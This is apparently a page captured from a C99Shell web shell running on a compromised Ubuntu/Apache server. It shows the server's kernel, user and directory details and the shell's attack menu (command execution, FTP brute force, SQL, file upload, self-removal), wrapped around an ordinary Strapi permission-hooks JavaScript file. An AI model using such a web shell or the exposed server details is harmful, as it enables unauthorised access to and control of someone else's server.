!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi-admin/services/permission/   drwxr-xr-x
Free 12.94 GB of 57.97 GB (22.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     engine-hooks.js (1.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const { cloneDeep, has } = require('lodash/fp');
const { hooks } = require('strapi-utils');

const permissionDomain = require('../../domain/permission');

/**
 * Create a hook map used by the permission Engine
 */
const createEngineHooks = () => ({
  willEvaluatePermission: hooks.createAsyncSeriesHook(),
  willRegisterPermission: hooks.createAsyncSeriesHook(),
});

/**
 * Create a context from a domain {@link Permission} used by the WillEvaluate hook
 * @param {Permission} permission
 * @return {{readonly permission: Permission, addCondition(string): this}}
 */
const createWillEvaluateContext = permission => ({
  get permission() {
    return cloneDeep(permission);
  },

  addCondition(condition) {
    Object.assign(permission, permissionDomain.addCondition(condition, permission));

    return this;
  },
});

/**
 * Create a context from a casl Permission & some options
 * @param caslPermission
 * @param {object} options
 * @param {Permission} options.permission
 * @param {object} options.user
 */
const createWillRegisterContext = (caslPermission, { permission, user }) => ({
  get permission() {
    return cloneDeep(permission);
  },

  get user() {
    return cloneDeep(user);
  },

  condition: {
    and(rawConditionObject) {
      if (!caslPermission.condition) {
        Object.assign(caslPermission, { condition: { $and: [] } });
      }

      caslPermission.condition.$and.push(rawConditionObject);

      return this;
    },

    or(rawConditionObject) {
      if (!caslPermission.condition) {
        Object.assign(caslPermission, { condition: { $and: [] } });
      }

      const orClause = caslPermission.condition.$and.find(has('$or'));

      if (orClause) {
        orClause.$or.push(rawConditionObject);
      } else {
        caslPermission.condition.$and.push({ $or: [rawConditionObject] });
      }

      return this;
    },
  },
});

module.exports = {
  createEngineHooks,
  createWillEvaluateContext,
  createWillRegisterContext,
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0208 ]--